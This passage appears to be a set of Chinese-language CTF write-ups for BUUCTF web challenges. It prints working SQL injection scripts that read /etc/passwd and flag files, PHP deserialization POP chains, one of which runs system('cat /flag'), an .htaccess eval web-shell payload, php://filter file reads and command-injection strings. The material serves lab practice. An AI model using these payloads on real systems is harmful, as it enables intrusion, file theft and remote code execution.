Chrome/80.0.3987.163 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/change.php" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"user_name" : num, "phone" : num, "address" : num} res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data) print (res.text) tmp=re.match(r'.*~(.*)~.*' ,res.text,flags=re.DOTALL).group(1 ) result+=tmp print (result) if tmp.strip() is "" : break count+=30 num+=1 time.sleep(0.5 ) sql_inj("SELECT (load_file('/flag.txt'))" )
Upload 报错后发现thinkphp的壳披着Discuz的皮,观察cookie发现,存在反序列化点
扫目录后,从www.tar.gz中拿到源码,从源码中很容易构造pop链
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <?php namespace app \web \controller ;use think \Controller ;class Index extends Controller { public $profile ; public $profile_db ; public function index ( ) { if ($this ->login_check()){ $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/home" ; $this ->redirect($curr_url ,302 ); exit (); } return $this ->fetch("index" ); } public function home ( ) { if (!$this ->login_check()){ $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url ,302 ); exit (); } if (!$this ->check_upload_img()){ $this ->assign("username" ,$this ->profile_db['username' ]); return $this ->fetch("upload" ); }else { $this ->assign("img" ,$this ->profile_db['img' ]); $this ->assign("username" ,$this ->profile_db['username' ]); return $this ->fetch("home" ); } } public function login_check ( ) { $profile =cookie('user' ); if (!empty ($profile )){ $this ->profile=unserialize(base64_decode($profile )); if (array_diff(array (1 ,1 ,1 ),$this ->profile)==null ){ return 1 ; }else { return 0 ; } } } public function check_upload_img ( ) { if (!empty ($this ->profile) && !empty ($this ->profile_db)){ if (empty ($this ->profile_db['img' ])){ return 0 ; }else { return 1 ; } } } public function logout ( ) { cookie("user" ,null ); $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url ,302 ); exit (); } public function test ( ) { $a =urldecode("O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D" ); $b =substr($a ,0 ,strlen($a )-1 ); $b =str_replace("\"Error\":7" ,"\"Error\":8" ,$b ); $b .="s:3:\"aaa\";" .serialize(new Register())."}" ; $b ='a:6:{s:2:"ID";i:9;s:8:"username";s:4:"aaaa";s:3:"img";N;s:5:"email";s:11:"[email protected] ";s:8:"password";s:32:"74b87337454200d4d33f80c4663dc5e5";s:3:"abc";' .$b .'}' ; return urlencode(base64_encode($b )); } public function __get ($name ) { return url; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php namespace app \web \controller ;use think \Controller ;class Register extends Controller { public $checker ; public $registed ; public function __construct ( ) { $this ->registed=0 ; $this ->checker=new Profile(); } public function register ( ) { if ($this ->checker) { if ($this ->checker->login_check()){ $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/home" ; $this ->redirect($curr_url ,302 ); exit (); } } if (!empty (input("post.username" )) && !empty (input("post.email" )) && !empty (input("post.password" ))) { $email = input("post.email" , "" , "addslashes" ); $password = input("post.password" , "" , "addslashes" ); $username = input("post.username" , "" , "addslashes" ); if ($this ->check_email($email )) { if (empty (db("user" )->where("username" , $username )->find()) && empty (db("user" )->where("email" , $email )->find())) { $user_info = ["email" => $email , "password" => md5($password ), "username" => $username ]; if (db("user" )->insert($user_info )) { $this ->registed = 1 ; $this ->success('Registed successful!' , url('../index' )); } else { $this ->error('Registed failed!' , url('../index' )); } } else { $this ->error('Account already exists!' , url('../index' )); } }else { $this ->error('Email illegal!' , url('../index' )); } } else { $this ->error('Something empty!' , url('../index' )); } } public function check_email ($email ) { $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/" ; preg_match($pattern , $email , $matches ); if (empty ($matches )){ return 0 ; }else { return 1 ; } } public function __destruct ( ) { if (!$this ->registed){ $this ->checker->index(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php namespace app \web \controller ;use think \Controller ;class Profile extends Controller { public $checker ; public $filename_tmp ; public $filename ; public $upload_menu ; public $ext ; public $img ; public $except =array ('index' =>'upload_img' ); public $index ; public function __construct ( ) { $this ->index="upload_img" ; $this ->checker=0 ; $this ->ext=1 ; $this ->filename_tmp="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.png" ; $this ->filename="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.php" ; } public function upload_img ( ) { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url ,302 ); exit (); } } if (!empty ($_FILES )){ $this ->filename_tmp=$_FILES ['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES ['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this ->upload_menu/$this ->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } } public function update_img ( ) { $user_info =db('user' )->where("ID" ,$this ->checker->profile['ID' ])->find(); if (empty ($user_info ['img' ]) && $this ->img){ if (db('user' )->where('ID' ,$user_info ['ID' ])->data(["img" =>addslashes($this ->img)])->update()){ $this ->update_cookie(); $this ->success('Upload img successful!' , url('../home' )); }else { $this ->error('Upload file failed!' , url('../index' )); } } } public function update_cookie ( ) { $this ->checker->profile['img' ]=$this ->img; cookie("user" ,base64_encode(serialize($this ->checker->profile)),3600 ); } public function ext_check ( ) { $ext_arr =explode("." ,$this ->filename); $this ->ext=end($ext_arr ); if ($this ->ext=="png" ){ return 1 ; }else { return 0 ; } } public function __get ($name ) { return $this ->except[$name ]; } public function __call ($name , $arguments ) { if ($this ->{$name }){ $this ->{$this ->{$name }}($arguments ); } } }
[CISCN2019 华东南赛区]Web11 简单的smarty ssti
Futurella F12
2020 新春红包题 1 和2019的eis中的pop一摸一样,我之前也做出来了,再看的时候居然不会了???????????
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
唯一不同的是,这题会对文件名进行检测
1 2 3 4 5 6 7 8 public function getCacheKey (string $name ): string { $cache_filename = $this ->options['prefix' ] . uniqid() . $name ; if (substr($cache_filename , -strlen('.php' )) === '.php' ) { die ('?' ); } return $cache_filename ; }
我在这里卡了好久,还是去偷窥wp解决的
我们利用uniqid()/../filename
来绕过uniqid,
利用index.php/.
=index.php
来绕过后缀名检测
其他解法: https://www.zhaoj.in/read-6397.html
利用.user.ini
利用shell中``的优先级大于”来命令执行
easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir('./' ); foreach ($files as $file ) { if (is_file($file )){ if ($file !== "index.php" ) { unlink($file ); } } } include_once ("fl3g.php" ); if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file(__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr($content ,'on' ) || stristr($content ,'html' ) || stristr($content ,'type' ) || stristr($content ,'flag' ) || stristr($content ,'upload' ) || stristr($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir('./' ); foreach ($files as $file ) { if (is_file($file )){ if ($file !== "index.php" ) { unlink($file ); } } } file_put_contents($filename , $content . "\nJust one chance" ); ?>
可以任意写文件,写个php文件后发现,不解析,估计是htaccess的,
于是写htaccess,利用#\
来绕过末尾添加\nJust one chance
,将其注释
最后的payload
1 2 3 4 #<?php die(eval($_POST[1]));?> php_value auto_prepend_fi\ le ".htaccess" #\
Kookie 修改cookie
homebrew event loop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 from flask import Flask, session, request, Responseimport urllibapp = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG (): return '*********************' def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix+'/' ) def entry_point (): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop() def view_handler (args ): page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format ( session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler (args ): bool_show_source = str (args[0 ]) bool_download_source = str (args[1 ]) if bool_show_source == 'True' : source = open ('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' , '&' ).replace('\t' , ' ' *4 ).replace( ' ' , ' ' ).replace('<' , '<' ).replace('>' , '>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ]) def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args ): flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
我们观察:
1 2 3 4 5 6 action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args)
这里我们可以
在action后面加个#,来达到任意命令执行,但是传入的参数只能是一个list,在这里卡住我了
继续分析发现,这个程序的功能都基于自制的event_loop,而trigger_event()负责添加event,当传入一个list时,他会直接event+=list
也就是说我们可以控制event_loop的执行顺序,
在get_flag_handler中,我们可以将flag记录到session中但是,要求diomand>=5,而正常来说我们最多只有3个
我们观察buy
1 2 3 4 5 6 7 def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ])
这个是先将物品添加然后向event_loop中添加事件,结合我们前面的发现,我们可以在调用buy_handler后直接调用get_flag_handler,这样我们就能拿到flag了
访问:d5afe1f66147e857/?action:trigger_event%23;action:buy;99%23action:get_flag;%23
,将session解码后拿到flag
flag{ba772083-fe23-4258-897e-63c9a99ff66f}
easysql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport re,timeimport binasciidef sql_inj (sql ): result="" count=1 while True : if result!="" : username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),{result},\"\"),0x7e),1))#" .format (sql=sql,result=("0x" +str (binascii.hexlify(bytes (result,encoding="ascii" )),encoding="ascii" ))) else : username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),\"\",\"\"),0x7e),1))#" .format (sql=sql,result=("0x" +str (binascii.hexlify(bytes (result,encoding="ascii" )),encoding="ascii" ))) burp0_url = "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn:80/register.php" burp0_cookies = {"PHPSESSID" : "r658aaumj82f5f6itd5freua14" } burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Origin" : "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn" , "Upgrade-Insecure-Requests" : "1" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/register.php" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"username" :username , "password" : "a" , "email" : "a" } res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print (username) session = requests.session() url="http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/login.php" data={ "username" :username, "password" :"a" } res=session.post(url, data=data) res=session.post("http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/changepwd.php" ,data={"oldpass" :"a" ,"newpass" :"a" }) print (res.text) tmp=re.match(r".*XPATH syntax error: '(.*)'.*" ,res.text,flags=re.DOTALL).group(1 ) if tmp!="" and tmp[0 ]=="~" : tmp=tmp[1 :] if tmp!="" and tmp[-1 ]=="~" : tmp=tmp[:-1 ] result+=tmp print (result) if tmp.strip() is "" : break count+=30 time.sleep(0.5 ) print (result) sql_inj("select(group_concat(load_file(0x2f6574632f706173737764)))" )
1 2 3 4 article,flag,users flag title,content name,pwd,email,real_flag_1s_here
flag{9b73df68-406f-439e-9076-c9a9f37f5255}
二次注入
[MRCTF2020]Ez_bypass easy
[MRCTF2020]你传你🐎呢 后缀名限制:php
上传htaccess+图片马
flag{c4ab5af4-4cb4-45bf-9cb3-ebe35922eca9}
[MRCTF2020]PYWebsite 修改xff头
[BSidesCF 2020]Had a bad day 测试发现
1 2 3 Warning: include(meowers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37 Warning: include(): Failed opening 'meowers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <html> <head> <meta charset="utf-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="description" content="Images that spark joy" > <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0" > <title>Had a bad day?</title> <link rel="stylesheet" href="css/material.min.css" > <link rel="stylesheet" href="css/style.css" > </head> <body> <div class ="page -layout mdl -layout mdl -layout --fixed -header mdl -js -layout mdl -color --grey -100"> <header class ="page -header mdl -layout__header mdl -layout__header --scroll mdl -color --grey -100 mdl -color -text --grey -800"> <div class ="mdl -layout__header -row "> <span class ="mdl -layout -title ">Had a bad day ?</span > <div class ="mdl -layout -spacer "></div > <div > </header > <div class ="page -ribbon "></div > <main class ="page -main mdl -layout__content "> <div class ="page -container mdl -grid "> <div class ="mdl -cell mdl -cell --2-col mdl -cell --hide -tablet mdl -cell --hide -phone "></div > <div class ="page -content mdl -color --white mdl -shadow --4dp content mdl -color -text --grey -800 mdl -cell mdl -cell --8-col "> <div class ="page -crumbs mdl -color -text --grey -500"> </div > <h3 >Cheer up !</h3 > <p > Did you have a bad day ? Did things not go your way today ? Are you feeling down ? Pick an option and let the adorable images cheer you up ! </p > <div class ="page -include "> <?php $file = $_GET ['category ']; if (isset ($file )) { if ( strpos( $file , "woofers" ) !== false || strpos( $file , "meowers" ) !== false || strpos( $file , "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?> </div> <form action="index.php" method="get" id="choice" > <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class ="mdl -button mdl -button --colored mdl -button --raised mdl -js -button mdl -js -ripple -effect " data -upgraded =",MaterialButton ,MaterialRipple ">Woofers <span class ="mdl -button__ripple -container "><span class ="mdl -ripple is -animating " style ="width : 189.356px ; height : 189.356px ; transform : translate (-50%, -50%) translate (31px , 25px );"></span ></span ></button > <button onclick ="document .getElementById ('choice ').submit ();" name ="category " value ="meowers " class ="mdl -button mdl -button --colored mdl -button --raised mdl -js -button mdl -js -ripple -effect " data -upgraded =",MaterialButton ,MaterialRipple ">Meowers <span class ="mdl -button__ripple -container "><span class ="mdl -ripple is -animating " style ="width : 189.356px ; height : 189.356px ; transform : translate (-50%, -50%) translate (31px , 25px );"></span ></span ></button ></center > </form > </div > </div > </main > </div > <script src ="js /material .min .js "></script > </body > </html >
在扫目录时发现flag.php
http://12d20382-ff0d-44bf-abfd-50a08a5b8604.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag
[HarekazeCTF2019]encode_and_encode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting(0 ); if (isset ($_GET ['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword ) . '/i' ; if (preg_match($regexp , $str )) { return false ; } return true ; } $body = file_get_contents('php://input' );$json = json_decode($body , true );if (is_valid($body ) && isset ($json ) && isset ($json ['page' ])) { $page = $json ['page' ]; $content = file_get_contents($page ); if (!$content || !is_valid($content )) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content );echo json_encode(['content' => $content ]);
学到了学到了
json_decode在解析类似\u0020
的时候会把他当成一个unicode字符,也就是说它会变成空格
这个在官方文档里也有涉及PHP implements a superset of JSON as specified in the original » RFC 7159.
去查RFC 7159就会发现
1 2 3 4 5 6 7 8 Any character may be escaped. If the character is in the Basic Multilingual Plane (U+0000 through U+FFFF), then it may be represented as a six-character sequence: a reverse solidus, followed by the lowercase letter u, followed by four hexadecimal digits that encode the character's code point. The hexadecimal letters A though F can be upper or lower case. So, for example, a string containing only a single reverse solidus character may be represented as "\u005C".
[CISCN2019 总决赛 Day1 Web4]Laravel1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function index (\Illuminate\Http\Request $request ) { $payload =$request ->input("payload" ); if (empty ($payload )){ highlight_file(__FILE__ ); }else { @unserialize($payload ); } } }
很明显是要让我们找个pop链,刚开始我天真的以为可以直接用cve的,一行注释让我明白了我的天真
这个pop链显然要从__destruct
开始
在经过一番搜索+wp观看大法后,我找到了
这里有个$f($items)
,可以直接命令执行,前提是没有直接从foreach
那里退出
不知道为啥,本机不可以,而靶场可以???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace Symfony \Component \Cache \Adapter ;class TagAwareAdapter { private $deferred ; private $getTagsByKey ; function __construct ( ) { $this ->deferred="cat /flag" ; $this ->getTagsByKey="system" ; } } $a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter();echo urlencode(serialize($a ));
flag{d5b22868-43a5-4784-be2f-6021702cfe89}
[MRCTF2020]套娃 2333333333
flag{b84a1566-98fb-43aa-967d-95b86c42da14}
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = new Modifier(); } public function __get ($key ) { $function = $this ->p; return $function (); } } $a =new Show();$b =new Show();$b ->str=new Test();$a ->source=$b ;echo urlencode(serialize($a ));?>
flag{ff09736d-ed1f-4089-8906-3379cbb7e019}
[GYCTF2020]Easyphp UpdateHelper(__destruct)->User(__toString)->Info(__call)->dbCtrl(login)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array ,'hacker' ,$parm ); } class User { public $id =1 ; public $age ; public $nickname ; public function __construct ( ) { $this ->nickname=new Info(); $this ->age="UPDATE user SET password=\"c4ca4238a0b923820dcc509a6f75849b\" where username=?" ; } } class dbCtrl { public $hostname ="127.0.0.1" ; public $dbuser ="root" ; public $dbpass ="root" ; public $database ="test" ; public $name ; public $password ; public $mysqli ; public $token ; public function __construct ( ) { $this ->name='admin' ; $this ->password='1' ; $this ->token='admin' ; } } class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ( ) { $this ->age="" ; $this ->nickname="" ; $this ->CtrlCase=new dbCtrl(); } } Class UpdateHelper { public $id ="" ; public $newinfo ="" ; public $sql ="" ; public function __construct ( ) { $this ->sql=new User(); } } $nickname ="" ;$a =new User();$evil =str_replace("flag" ,"alag" ,serialize($a ));$age ='";s:8:"nickname";' .$evil .'s:8:"CtrlCase";N;};' ;$len =strlen($age );for ($i =0 ;$i <$len ;$i ++){ $age ="union" .$age ; }; $tmp =serialize(new Info($age ,$nickname ));$result =safe($tmp );echo $age ;unserialize($result ); ?>
flag{be7c6d56-1969-47d8-8eed-e672e5496d25}
[WUSTCTF2020]颜值成绩查询 1 2 3 4 5 0/**/uniunionon/**/select/**/1,2,3# 0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/where/**/TABLE_SCHEMA=database()# flag,score 0/**/uniunionon/**/select/**/1,GROUP_CONCAT(column_name),3/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='flag'# flag,value
[WUSTCTF2020]朴实无华 在robots.txt中发现fAke_f1agggg.php
在fAke_f1agggg.php中发现fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <img src="/img.jpg" > <?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval($num ) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr($get_flag ," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
1 /fl4g.php?num=1e10&md5=0e215962017&get_flag=a%3dc%26%26b%3da%26%26c%3dt%26%26$a$b$c%09*